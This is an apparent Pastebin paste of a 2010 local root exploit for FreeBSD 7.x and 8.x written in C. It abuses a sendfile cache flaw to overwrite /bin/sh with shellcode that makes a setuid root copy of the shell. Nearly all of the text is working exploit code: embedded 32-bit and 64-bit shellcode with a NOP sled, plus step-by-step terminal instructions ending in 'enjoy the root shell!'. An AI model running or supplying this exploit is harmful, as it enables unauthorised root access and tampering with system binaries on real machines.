Advertisement
Guest User

kingcope sendfile mbuf exploit v2 32bit/64bit

a guest
Jul 31st, 2010
874
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.68 KB | None | 0 0
  1. /*  freebsd x86/x64 sendfile cache local root xpl v2
  2.  
  3.  by Kingcope
  4.  2010
  5.  --
  6.  
  7.  should h4x any freebsd 8.* and 7.* prior to 12Jul2010
  8.  
  9.  tampers /bin/sh to contain a shellcode which does
  10.  '
  11.  chmod a+s /tmp/sh
  12.  chown root /tmp/sh
  13.  execve /tmp/sh2
  14.  '
  15.  
  16.  how to use:
  17.  
  18.  terminal 1:
  19.  $ cp /bin/sh /tmp/sh
  20.  $ cp /bin/sh /tmp/sh2
  21.  $ gcc cache.c -o cache
  22.  
  23.  terminal 2:
  24.  $ nc -l 7030
  25.  
  26.  terminal 1:
  27.  for i386 arch type:
  28.  $ ./cache i386
  29.  for amd64 arch type:
  30.  $ ./cache amd64
  31.  
  32.  now wait
  33.  
  34.  /bin/sh should be execed by the system as root in ~5 mins
  35.  
  36.  then do:
  37.  $ /tmp/sh
  38.  #
  39.  
  40.  cleanup:
  41.  # cp -f /tmp/sh2 /bin/sh
  42.  #
  43.  
  44.  enjoy the root shell!
  45. */
  46. // this juarez is now private on #darknet --
  47. // http://www.youtube.com/watch?v=JtgInqNNpCI
  48. // http://www.youtube.com/watch?v=IdbRWrY4QBI
  49.  
  50. #include <sys/types.h>
  51. #include <sys/socket.h>
  52. #include <sys/uio.h>
  53. #include <fcntl.h>
  54. #include <netinet/in.h>
  55. #include <sys/select.h>
  56. #include <sys/stat.h>
  57. #include <strings.h>
  58. #include <stdio.h>
  59. #include <string.h>
  60. #include <err.h>
  61.  
  62. main (int argc, char *argv[]) {
  63.         int s, f, k2;
  64.         struct sockaddr_in addr;
  65.         int flags;
  66.         char str32[]=
  67. "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3"
  68. "\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f"
  69. "\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d"
  70. "\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";
  71.         char str64[]=
  72. "\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68"
  73. "\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"
  74. "\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0"
  75. "\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89"
  76. "\xe7\x57\x52\x48\x89\xe6\x0f\x05";
  77.  
  78.         char buf[10000];
  79.  
  80.         char *p;
  81.         struct stat sb;
  82.         int n;
  83.         fd_set wset;
  84.         int64_t size;
  85.         off_t sbytes;
  86.         off_t sent = 0;
  87.         int chunk;
  88.         int arch = 3;
  89.  
  90.         if (argc != 2) {
  91.                 printf("define architecture i386 or amd64\n");
  92.                 return;
  93.         }
  94.  
  95.         if (strcmp(argv[1], "i386") == 0)
  96.                 arch=1;
  97.  
  98.         if (strcmp(argv[1], "amd64") == 0)
  99.                 arch=2;
  100.  
  101.         if (arch == 3) {
  102.                 printf("define architecture i386 or amd64\n");
  103.                 return;
  104.         }
  105.  
  106.         s = socket(AF_INET, SOCK_STREAM, 0);
  107.         bzero(&addr, sizeof(addr));
  108.         addr.sin_family = AF_INET;
  109.         addr.sin_port = htons(7030);
  110.         addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  111.  
  112.         n = connect(s, (struct sockaddr *)&addr, sizeof (addr));
  113.         if (n < 0)
  114.                 warn ("fail to connect");
  115.  
  116.         f = open("/bin/sh", O_RDONLY);
  117.         if (f<0)
  118.                 warn("fail to open file");
  119.         n = fstat(f, &sb);
  120.         if (n<0)
  121.                 warn("fstat failed");
  122.  
  123.         size = sb.st_size;
  124.         chunk = 0;
  125.  
  126.         flags = fcntl(f, F_GETFL);
  127.         flags |= O_NONBLOCK;
  128.         fcntl(f, F_SETFL, flags);
  129.  
  130.         while (size > 0) {
  131.  
  132.                 FD_ZERO(&wset);
  133.                 FD_SET(s, &wset);
  134.                 n = select(f+1, NULL, &wset, NULL, NULL);
  135.                 if (n < 0)
  136.                         continue;
  137.  
  138.                 if (chunk > 0) {
  139.                         sbytes = 0;
  140.                         if (arch == 1)
  141.                          n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0);
  142.                         if (arch == 2)
  143.                          n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0);
  144.                         if (n < 0)
  145.                                 continue;
  146.                         chunk -= sbytes;
  147.                         size -= sbytes;
  148.                         sent += sbytes;
  149.                         continue;
  150.                 }
  151.  
  152.                 chunk = 2048;
  153.  
  154.                 memset(buf, '\0', sizeof buf);
  155.                 if (arch == 1) {
  156.                         for (k2=0;k2<256;k2++) {
  157.                                 buf[k2] = 0x90;
  158.                         }
  159.                         p = buf;
  160.                         p = p + k2;
  161.                         memcpy(p, str32, sizeof str32);
  162.  
  163.                         n = k2 + sizeof str32;
  164.                         p = buf;
  165.                 }
  166.  
  167.                 if (arch == 2) {
  168.                         for (k2=0;k2<100;k2++) {
  169.                                 buf[k2] = 0x90;
  170.                         }
  171.                         p = buf;
  172.                         p = p + k2;
  173.                         memcpy(p, str64, sizeof str64);
  174.  
  175.                         n = k2 + sizeof str64;
  176.                         p = buf;
  177.                 }
  178.  
  179.                 write(s, p, n);
  180.         }
  181. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement